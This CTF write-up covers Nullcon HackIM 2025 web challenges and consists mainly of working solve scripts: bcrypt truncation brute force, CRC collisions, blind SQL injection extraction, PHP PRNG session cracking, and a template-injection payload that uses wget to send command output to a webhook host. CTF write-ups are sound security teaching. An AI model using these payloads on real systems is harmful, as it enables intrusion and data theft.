- Published on
Nullcon Goa HackIM 2025 - WEB challenges
Table of contents
Bfail

Writeup author: AUXZAE
Bcrypt
processes only the first 72
bytes and the source code reveals 71
of them, we only need to brute-force the last remaining byte.
import bcrypt
import requests
import itertools
known_bytes = b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76'
admin_hash = b'$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK'
def try_variations(base_input):
unknown_length = 72 - len(base_input)
print(f"Trying {256**unknown_length} possibilities for {unknown_length} unknown byte(s)...")
for guess in itertools.product(range(256), repeat=unknown_length):
candidate = base_input + bytes(guess)
if bcrypt.checkpw(candidate, admin_hash):
print("Found valid candidate!")
return candidate
print("No candidate found!")
return None
def solve():
solution = try_variations(known_bytes)
if solution:
url = "http://52.59.124.14:5013/"
data = {
"username": "admin",
"password": solution
}
r = requests.get(url, data=data)
print(r.text)
if __name__ == "__main__":
solve()
Flag: ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}
Crahp

Writeup author: null_byte
Solution code:
import random
# CRC16 implementation from PHP source
def crc16(string):
crc = 0xFFFF
for char in string:
crc = crc ^ ord(char)
for _ in range(8):
if (crc & 0x0001) == 0x0001:
crc = (crc >> 1) ^ 0xA001
else:
crc = crc >> 1
return crc
# CRC8 implementation from PHP source
def crc8(input_str):
crc8_table = [
0x00, 0x07,0x0E,0x09,0x1C,0x1B,0x12,0x15,0x38,
0x3F,0x36,0x31,0x24,0x23,0x2A,0x2D,0x70,0x77,
0x7E,0x79,0x6C,0x6B,0x62,0x65,0x48,0x4F,0x46,
0x41,0x54,0x53,0x5A,0x5D,0xE0,0xE7,0xEE,0xE9,
0xFC,0xFB,0xF2,0xF5,0xD8,0xDF,0xD6,0xD1,0xC4,
0xC3,0xCA,0xCD,0x90,0x97,0x9E,0x99,0x8C,0x8B,
0x82,0x85,0xA8,0xAF,0xA6,0xA1,0xB4,0xB3,0xBA,
0xBD,0xC7,0xC0,0xC9,0xCE,0xDB,0xDC,0xD5,0xD2,
0xFF,0xF8,0xF1,0xF6,0xE3,0xE4,0xED,0xEA,0xB7,
0xB0,0xB9,0xBE,0xAB,0xAC,0xA5,0xA2,0x8F,0x88,
0x81,0x86,0x93,0x94,0x9D,0x9A,0x27,0x20,0x29,
0x2E,0x3B,0x3C,0x35,0x32,0x1F,0x18,0x11,0x16,
0x03,0x04,0x0D,0x0A,0x57,0x50,0x59,0x5E,0x4B,
0x4C,0x45,0x42,0x6F,0x68,0x61,0x66,0x73,0x74,
0x7D,0x7A,0x89,0x8E,0x87,0x80,0x95,0x92,0x9B,
0x9C,0xB1,0xB6,0xBF,0xB8,0xAD,0xAA,0xA3,0xA4,
0xF9,0xFE,0xF7,0xF0,0xE5,0xE2,0xEB,0xEC,0xC1,
0xC6,0xCF,0xC8,0xDD,0xDA,0xD3,0xD4,0x69,0x6E,
0x67,0x60,0x75,0x72,0x7B,0x7C,0x51,0x56,0x5F,
0x58,0x4D,0x4A,0x43,0x44,0x19,0x1E,0x17,0x10,
0x05,0x02,0x0B,0x0C,0x21,0x26,0x2F,0x28,0x3D,
0x3A,0x33,0x34,0x4E,0x49,0x40,0x47,0x52,0x55,
0x5C,0x5B,0x76,0x71,0x78,0x7F,0x6A,0x6D,0x64,
0x63,0x3E,0x39,0x30,0x37,0x22,0x25,0x2C,0x2B,
0x06,0x01,0x08,0x0F,0x1A,0x1D,0x14,0x13,0xAE,
0xA9,0xA0,0xA7,0xB2,0xB5,0xBC,0xBB,0x96,0x91,
0x98,0x9F,0x8A,0x8D,0x84,0x83,0xDE,0xD9,0xD0,
0xD7,0xC2,0xC5,0xCC,0xCB,0xE6,0xE1,0xE8,0xEF,
0xFA,0xFD,0xF4,0xF3 ]
crc = 0
for char in input_str:
crc = crc8_table[(crc ^ ord(char)) & 0xFF]
return crc & 0xFF
def find_collision():
target = "AdM1nP@assW0rd!"
target_crc16 = crc16(target)
target_crc8 = crc8(target)
length = len(target)
# printable ASCII
charset = "".join(chr(x) for x in range(32, 127))
tries = 0
crc16_matches = 0
while True:
tries += 1
test = "".join(random.choice(charset) for _ in range(length))
if test == target:
continue
test_crc16 = crc16(test)
if test_crc16 != target_crc16:
continue
crc16_matches += 1
test_crc8 = crc8(test)
if test_crc8 != target_crc8:
continue
return test
if __name__ == "__main__":
print("Start!")
result = find_collision()
print(f"\nFound: {result}")
Flag: ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}
Numberizer

Writeup author: rvr
The challenge code is as follows:
ini_set("error_reporting", 0);
if(isset($_GET['source'])) {
highlight_file(__FILE__);
}
include "flag.php";
$MAX_NUMS = 5;
if(isset($_POST['numbers']) && is_array($_POST['numbers'])) {
$numbers = array();
$sum = 0;
for($i = 0; $i < $MAX_NUMS; $i++) {
if(!isset($_POST['numbers'][$i]) || strlen($_POST['numbers'][$i])>4 || !is_numeric($_POST['numbers'][$i])) {
continue;
}
$the_number = intval($_POST['numbers'][$i]);
if($the_number < 0) {
continue;
}
$numbers[] = $the_number;
}
$sum = intval(array_sum($numbers));
if($sum < 0) {
echo "You win a flag: $FLAG";
} else {
echo "You win nothing with number $sum ! :-(";
}
}
To receive the flag, the sum of the submitted numbers must be negative. Additionally, numbers must meet a few conditions:
- They must be positive:
$the_number = intval($_POST['numbers'][$i]);
if($the_number < 0) {
continue;
}
- The "length" of the number (understood as the number of digits) cannot exceed 4:
strlen($_POST['numbers'][$i])>4
To satisfy all these conditions and get the flag, an integer overflow
must occur. Quoting Wikipedia:
In computer programming, an integer overflow occurs when an arithmetic operation on integers attempts to create a numeric value that is outside of the range that can be represented with a given number of digits – either higher than the maximum or lower than the minimum representable value.
By submitting a very large number in scientific notation, i.e. 9e19
, after converting it to an integer, we will reach the maximum value allowed for an integer in a 64-bit system, which is 9223372036854775807
. Then, by adding any positive number to it and converting the result using intval
again, we will pass this max integer, causing the number to loop around from the maximum possible value to the minimum. This results in a negative number, thus giving us the flag.
$ curl -s 'http://52.59.124.14:5004/' --data-raw 'numbers[]=9e19&numbers[]=1' | grep flag
You win a flag: ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}
Paginator

Writeup author: null_byte
After connecting, we get:
Try harder!
Paginator
Show me pages 2-10
To view the source code, click here.
It's just a simple SQL injection
:
http://52.59.124.14:5012/?p=2,-1%20OR%20id=1--,10
Result:
Flag (ID=1) has content: "RU5Pe1NRTDFfVzF0aF8wdVRfQzBtbTRfVzBya3NfU29tZUhvdyF9"
Paginator
Show me pages 2-10
To view the source code, click here.
Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}
Paginator v2

The challenge code is as follows:
...
include "flag.php"; // Now the juicy part is hidden away! $db = new SQLite3('/tmp/db.db');
try{
$db->exec("CREATE TABLE pages (id INTEGER PRIMARY KEY, title TEXT UNIQUE, content TEXT)");
...
} catch(Exception $e) {
//var_dump($e);
}
if(isset($_GET['p']) && str_contains($_GET['p'], ",")) {
[$min, $max] = explode(",",$_GET['p']);
if(intval($min) <= 1 ) {
die("This post is not accessible...");
}
try {
$q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";
$result = $db->query($q);
while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
echo $row['title'] . " (ID=". $row['id'] . ") has content: \"" . $row['content'] . "\"<br>";
}
}catch(Exception $e) {
echo "Try harder!";
}
} else {
echo "Try harder!";
}
?>
We also know from the task description that the flag is hidden in another table:
Ok, we moved the critical information to a different table now... Can't go wrong this time, right?
Just like in the Paginator challenge, SQL injection
also occurs here in the following line of code: $q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";
Due to the presence of the explode
function: [$min, $max] = explode(",", $_GET['p']);
, our injected SQL query cannot contain a ,
, as it would be automatically truncated.
Therefore, we will use blind SQL injection
to solve this task. First, let's find the table containing the flag and its columns:
import requests
import base64
table_name = ""
def find_val(url):
r = requests.get(url)
return "has content" in r.text
for _ in range(0,8):
for c in 'abcdef0123456789':
url = f"http://52.59.124.14:5015/?p=2,300 and (SELECT 2 FROM sqlite_master WHERE type='table' AND tbl_name != 'pages' AND tbl_name NOT LIKE 'sqlite_%' AND hex(tbl_name) LIKE '{table_name}{c}%' ) = 2"
if(find_val(url)):
table_name += c
print(table_name)
break
table_name = bytes.fromhex(table_name).decode()
print("TABLE NAME", table_name)
columns = ''
for _ in range(0,26):
for c in 'abcdef0123456789':
url = f"http://52.59.124.14:5015/?p=2,300 and (select 2 from flag where (SELECT hex(group_concat(name)) FROM PRAGMA_TABLE_INFO('{table_name}')) like '{columns}{c}%' limit 1)=2-- -"
if(find_val(url)):
columns += c
print(columns)
break
columns = bytes.fromhex(columns).decode()
print("COLS", columns)
Then, determine the length of the flag and extract the flag itself.
import requests
import base64
flag = ""
def find_val(url):
r = requests.get(url)
return "has content" in r.text
for i in range(30,100):
url = f"http://52.59.124.14:5015/?p=2,300 and (SELECT length(value) from flag)={i}"
if(find_val(url)):
print("FLAG LENGTH", i)
FLAG_LEN = i
break
for _ in range(0,FLAG_LEN*2+1):
for c in 'abcdef0123456789':
url = f"http://52.59.124.14:5015/?p=2,300 and (SELECT 2 from flag where hex(value) like '{flag}{c}%')=2"
if(find_val(url)):
flag += c
print(flag)
break
flag = base64.b64decode(bytes.fromhex(flag))
print(flag)
Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow_AgA1n_And_Ag41n!}
Sess.io

Writeup author: null_byte
Just a solution:
<?php
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-"));
$test_inputs = [
'test16' => '0',
'test37' => '1',
'test36' => '2',
'test13' => '3',
'test6' => '4',
'test1' => '5',
'test12' => '6',
'test9' => '7',
'test3' => '8',
'test29' => '9',
'test2' => 'a',
'test7' => 'b',
'test10' => 'c',
'test18' => 'd',
'test5' => 'e',
'test0' => 'f'
];
function get_session_id($username) {
$url = 'http://52.59.124.14:5008';
$data = http_build_query([
'username' => $username,
'password' => ''
]);
$opts = [
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => $data
]
];
$context = stream_context_create($opts);
$response = @file_get_contents($url, false, $context);
if ($response === false) {
return null;
}
$headers = $http_response_header ?? [];
foreach ($headers as $header) {
if (preg_match('/PHPSESSID=([^;]+)/', $header, $matches)) {
return $matches[1];
}
}
return null;
}
function check_seed($seed, $session_id) {
mt_srand($seed);
for ($i = 0; $i < 10; $i++) {
$generated = ALPHA[mt_rand(0, count(ALPHA)-1)];
if ($generated !== $session_id[$i]) {
return false;
}
}
mt_srand($seed);
for ($i = 0; $i < strlen($session_id); $i++) {
$generated = ALPHA[mt_rand(0, count(ALPHA)-1)];
if ($generated !== $session_id[$i]) {
return false;
}
}
return true;
}
function crack_session($session_id) {
$ranges = [
[0x41, 0x5A], // A-Z
[0x30, 0x39], // 0-9
[0x20, 0x7E] // rest of ASCII
];
foreach ($ranges as $range) {
for ($a = $range[0]; $a <= $range[1]; $a++) {
echo sprintf("Testing first byte: %c (0x%02x)\n", $a, $a);
for ($b = $range[0]; $b <= $range[1]; $b++) {
for ($c = $range[0]; $c <= $range[1]; $c++) {
for ($d = $range[0]; $d <= $range[1]; $d++) {
$seed = ($a << 24) | ($b << 16) | ($c << 8) | $d;
if (check_seed($seed, $session_id)) {
return $seed;
}
}
}
}
}
}
return null;
}
$sessions = [];
for ($i = 1; $i < $argc; $i++) {
if (preg_match('/^([0-9a-f]):(.+)$/', $argv[$i], $matches)) {
$sessions[$matches[1]] = $matches[2];
}
}
if (empty($sessions)) {
foreach ($test_inputs as $username => $hash_prefix) {
echo "\nTrying username: $username (hash prefix: $hash_prefix)\n";
$session_id = get_session_id($username);
if (!$session_id) {
echo "Failed to get session ID\n";
continue;
}
$sessions[$hash_prefix] = $session_id;
}
}
$flag_parts = [];
foreach ($sessions as $hash_prefix => $session_id) {
echo "\nCracking session for hash prefix $hash_prefix\n";
echo "Session ID: " . substr($session_id, 0, 30) . "...\n";
$seed = crack_session($session_id);
if ($seed !== null) {
$bytes = pack('N', $seed);
echo "Found seed: 0x" . dechex($seed) . "\n";
echo "Flag part: $bytes\n";
echo "Hex: " . bin2hex($bytes) . "\n";
$pos = hexdec($hash_prefix);
$flag_parts[$pos] = $bytes;
}
}
if (count($flag_parts) > 0) {
echo "\nFlag:\n";
echo implode("", $flag_parts);
echo "\n";
}
?>
Flag: ENO{SOME_SUPER_SECURE_FLAG_1333337_HACK}
Temptation

If you set the source parameters you have the source code which contains a double format string vuln.
import requests
import sys
data = {
"temptation": "${__import__(\"os\").system('wget --post-data=\"$(" + sys.argv[1] + ")\" https://webhook.site/84bfab3a-edbd-4ba9-90c3-24bdd93798bc')}",
"submit": ""
}
r = requests.post("http://52.59.124.14:5011/", data=data)
Flag: ENO{T3M_Pl4T_3S_4r3_S3cUre!!}
ZONEy

That was easy challenge, but clever:
dig @52.59.124.14 -p 5007 A www.ZONEy.eno
; <<>> DiG 9.20.4-3-Debian <<>> @52.59.124.14 -p 5007 A www.ZONEy.eno
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7364
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.ZONEy.eno. IN A
;; ANSWER SECTION:
www.ZONEy.eno. 7200 IN CNAME challenge.ZONEy.eno.
challenge.ZONEy.eno. 7200 IN A 127.0.0.1
;; AUTHORITY SECTION:
ZONEy.eno. 7200 IN NS ns1.ZONEy.eno.
ZONEy.eno. 7200 IN NS ns2.ZONEy.eno.
;; ADDITIONAL SECTION:
ns1.ZONEy.eno. 7200 IN A 127.0.0.1
ns2.ZONEy.eno. 7200 IN A 127.0.0.1
;; Query time: 28 msec
;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP)
;; WHEN: Sat Feb 01 19:09:06 CET 2025
;; MSG SIZE rcvd: 150
You found challenge zone but need more:
dig @52.59.124.14 -p 5007 DNSKEY challenge.ZONEy.eno +dnssec
dig @52.59.124.14 -p 5007 TXT hereisthe1337flag.zoney.eno
Flag: ENO{1337_Fl4G_NSeC_W4LK3R}